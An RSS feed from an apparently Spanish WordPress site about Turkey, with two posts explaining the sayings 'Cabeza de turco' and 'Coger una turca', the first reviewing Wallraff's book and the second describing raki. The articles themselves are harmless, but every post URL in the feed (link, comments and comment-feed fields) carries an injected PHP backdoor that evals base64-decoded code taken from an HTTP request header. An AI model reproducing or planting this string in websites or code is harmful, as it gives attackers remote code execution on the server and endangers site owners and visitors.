<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Mundo Turco &#187; Refranes</title>
	<atom:link href="http://www.mundoturco.com/category/cultura/refranes/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mundoturco.com</link>
	<description>TODO LO QUE BUSCAS ACERCA DE TURQUIA</description>
	<lastBuildDate>Tue, 01 Feb 2011 11:17:05 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Cabeza de Turco</title>
		<link>http://www.mundoturco.com/2009/05/20/cabeza-de-turca/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.mundoturco.com/2009/05/20/cabeza-de-turca/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 20 May 2009 18:01:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Refranes]]></category>

		<guid isPermaLink="false">http://www.mundoturco.com/?p=77</guid>
		<description><![CDATA[
Ser Cabeza de Turco
Persona a quien se achacan todas las culpas para eximir a otras. Se dice de una persona que es objetivo de todas las acusaciones, especialmente injustas. También se dice de las personas sobre las que recae una acusación o una condena para evitar que los verdaderos culpables sean castigados. Por la historia [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.excursionestambul.com/wp-content/uploads/2009/05/ganzunten.jpg" alt="ganzunten" title="ganzunten" width="590" height="443" class="aligncenter size-full wp-image-1906" /></p>
<p><strong>Ser Cabeza de Turco</strong></p>
<p style="text-align: justify;">Persona a quien se achacan todas las culpas para eximir a otras. Se dice de una persona que es objetivo de todas las acusaciones, especialmente injustas. También se dice de las personas sobre las que recae una acusación o una condena para evitar que los verdaderos culpables sean castigados. Por la historia sabemos que desde el tiempo de las Cruzadas a Tierra Santa, con motivo de la defensa y custodia de Jerusalén, los cristianos estuvieron luchando contra los turcos constantemente. <span id="more-77"></span></p>
<p style="text-align: justify;">El odio con que se miraban estas civilizaciones era tal, que no había mayor placer que cortarle la cabeza a un turco. Cuando lo conseguían, colgaban la cabeza en el mástil del barco o la ensartaban en una lanza y los soldados no cesaban de increpar a la calavera del muerto y de acusarlo de todas las desgracias posibles e imposibles. Por esta razón se dice que uno es cabeza de turco, cuando recibe todo el daño y todas las acusaciones de las que son culpable otros.</p>
<p><strong>Cabeza de turco: Abajo de Todos (Ganz Unten)</strong></p>
<p>Título: Cabeza de Turco: Abajo del Todo<br />
Autor: Günther Wallraff<br />
ISBN: 84-3396-6448.<br />
Editorial: Anagrama SA Compactos.<br />
P.V.P.: 6.00 €.<br />
Idioma: Castellano.<br />
Nº páginas: 240.<br />
Año de edición: 1999.</p>
<p style="text-align: justify;"><strong>Sinopsis: </strong>‘Cabeza de turco’ es una de las obras más sobrecogedoras de los últimos tiempos. Su publicación provocó una conmoción en los más altos círculos políticos de la Alemania de la posguerra. Günter Wallraff elaboró una obra maestra, con un trabajo periodístico arriesgado y sacrificado. Posiblemente la obra más especial del autor alemán.</p>
<p style="text-align: justify;">Günter Wallraff adquirió una nueva identidad durante dos años de su vida, convirtiéndose así en Alí el turco. Como Alí el Turco, Günter Wallraff realizó un reportaje sobre las penosas condiciones laborales que los inmigrantes turcos debían soportar para sobrevivir en la Alemania de esos años. Trabajos de limpieza en centrales nucleares sin protección alguna, en una industria farmaceútica como cobaya humana, como peón de construcción sin papeles…</p>
<p style="text-align: justify;">‘Cabeza de turco’ se convierte en un mazazo de realidad para el lector. A lo largo de la obra encontramos nuevos personajes reales, que no son inventados, sino que existen de verdad, que padecen una vida de explotación y miseria. El carácter personal que tiene la obra impacta al lector. Günter Wallraff no nos cuenta una historia ficticia, nos sumerge en una realidad dramática. La acumulación despiadada de experiencias humanas truncadas por el despotismo arrastra al lector a una situación de compromiso con la obra y sus personajes.</p>
<p style="text-align: justify;">La publicación de “Cabeza de turco” provocó una auténtica conmoción en Alemania, donde en pocos meses se vendieron más de dos millones de ejemplares, convirtiéndose en el mayor best-seller de la posguerra, un verdadero fenómeno sociocultural. Durante dos años, Günter Wallraff abandonó su identidad y mediante lentillas oscuras, una peluca, bigote, utilizando un alemán rudimentario se transformó en Alí, un inmigrante turco dispuesto a hacer los trabajos más duros, más insalubres, más peligrosos para poder sobrevivir. Así, con sueldos de miseria y condiciones escandalosas, trabaja sin respiro en una hamburguesería McDonald’s, de bracero en una granja, de obrero de la construcción sin papeles ni contratos, lo utilizan como cobaya de la industria farmacéutica, investiga la postura de la Iglesia católica y de las sectas, efectúa limpiezas sin protección alguna en las entrañas de las refinerías metalúrgicas, hace de chófer de un traficante de esclavos, forma parte de un comando suicida reclutado para reparar una avería en una central nuclear.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mundoturco.com/2009/05/20/cabeza-de-turca/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Coger Una Turca</title>
		<link>http://www.mundoturco.com/2009/05/20/coger-una-turca/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.mundoturco.com/2009/05/20/coger-una-turca/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 20 May 2009 17:59:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Refranes]]></category>

		<guid isPermaLink="false">http://www.mundoturco.com/?p=75</guid>
		<description><![CDATA[
¿Sabías por qué “Coger Una Turca” es sinónimo de emborracharse?
El Turco es el vino en el habla de germanía la utilizada por los malhechores de los siglos XVI y XVII. Y se dice que es así porque se refería al vino puro, al que no estaba rebajando con agua, es decir, al que no estaba [...]]]></description>
			<content:encoded><![CDATA[<p><strong><img class="aligncenter size-full wp-image-3020" title="yeniraki" src="http://www.excursionestambul.com/wp-content/uploads/2009/05/yeniraki.jpg" alt="yeniraki" width="590" height="435" /></strong></p>
<p><strong>¿Sabías por qué “Coger Una Turca” es sinónimo de emborracharse?</strong></p>
<p style="text-align: justify;">El Turco es el vino en el habla de germanía la utilizada por los malhechores de los siglos XVI y XVII. Y se dice que es así porque se refería al vino puro, al que no estaba rebajando con agua, es decir, al que no estaba bautizado. Además en aquella época era normal atribuir cualquier cosa mala e indeseable a los turcos, pues su poderío naval y la amenaza constante que suponían hicieron el termino turco paradigma de lo odioso. <span id="more-75"></span></p>
<p style="text-align: justify;">Bastús, en la “Sabiduría de las Naciones”, supone que Coger Una Turca hace alusión a los Turcos Mahometanos “los cuales como por la ley religiosa y de la higiene pública del Profeta deben abstenerse de beber vino y demás licores espirituosos cuando alguna vez lo infringen, se entregan con tal placer y exceso a este uso a este uso, que les produce un efecto terrible, hasta coger lo que se llama una turca o borrachera en regla.</p>
<p><strong>RAKI: LICOR TURCO</strong></p>
<p style="text-align: justify;">Rakı, un trago típico de Turquía, es una aguardiente de alto grado elaborado mediante la destilación de uva, además tiene un toque de anís que le da un buen aroma y sabor. Es imposible decir cuándo y dónde nació esta bebida. Lo que se sabe con certeza es que el Rakı es mucho más joven que el vino o la cerveza, y aunque es un trago típico de Turquía, también se bebe en los países vecinos, y en cada lugar adopta un nombre parecido de raíces similares: arak, araka, ariki, araki, pernod, anice, anís o cinchón. Algunos dicen que, en realidad, su nombre iraki proviene de Irak, país donde habría sido preparado por primera vez, y desde donde se esparció por la región. Para otros su denominación definitivamente tiene origen en las uvas razakis que se utilizan para prepararlo.</p>
<p style="text-align: justify;">Este licor fabricado en Anatolia (Turquía) que se conoce como Rakı Turco, en sus comienzos se hacía teniendo como base los residuos de la uva utilizada en la obtención de vino. En el sistema de elaboración clásico se pican higos y pasas y se introducen en cubas de fermentación. A continuación, se añade la misma cantidad de agua multiplicada por cuatro, y se dejan las frutas en remojo. Después, se agrega levadura, que provoca la fermentación. En cuatro o cinco días, el azúcar se ha convertido en alcohol y se obtiene una malta de un siete u ocho por ciento de graduación.</p>
<p style="text-align: justify;">En el proceso, se destila una primera vez, con lo cual se obtiene un líquido muy claro con un alto porcentaje de alcohol que se denomina soma. Se ponen semillas de anís a remojar en este soma y agua, y se destila una segunda vez. El porcentaje alcohólico de este destilado se rebaja con agua a un 40 ó 50 por ciento, se endulza ligeramente y se almacena en barriles durante dos meses. Posteriormente se embotella. Hoy en día se produce principalmente a partir del vino turco y es el Estado quien posee el monopolio de su elaboración.</p>
<p style="text-align: justify;">Las similitudes entre las costumbres de los pueblos de la región se pueden apreciar en las características de sus bebidas típicas (el licor de Turquía al igual que el Uzo tienen anís entre sus componentes) y una de las formas más tradicionales de tomarlo es a la manera de Aslan Sütü, “Leche de León” (Leche para Corazon de Leone -valientes-), que es como se denomina al Rakı mezclado con agua, cuando adquiere un color turbio lechoso, cosa que también pasa con el licor griego.</p>
<p style="text-align: justify;">Otra de las similitudes es que lo toman con una gran variedad de tentempiés llamados mezes (entremeses, tapas turcas). Nadie puede disfrutar de una buena mesa en Turquía si no es acompañada con Rakı, idealmente para acompañar ensaladas (tomates, lechugas, etc.), quesos, pescados u otros.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mundoturco.com/2009/05/20/coger-una-turca/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

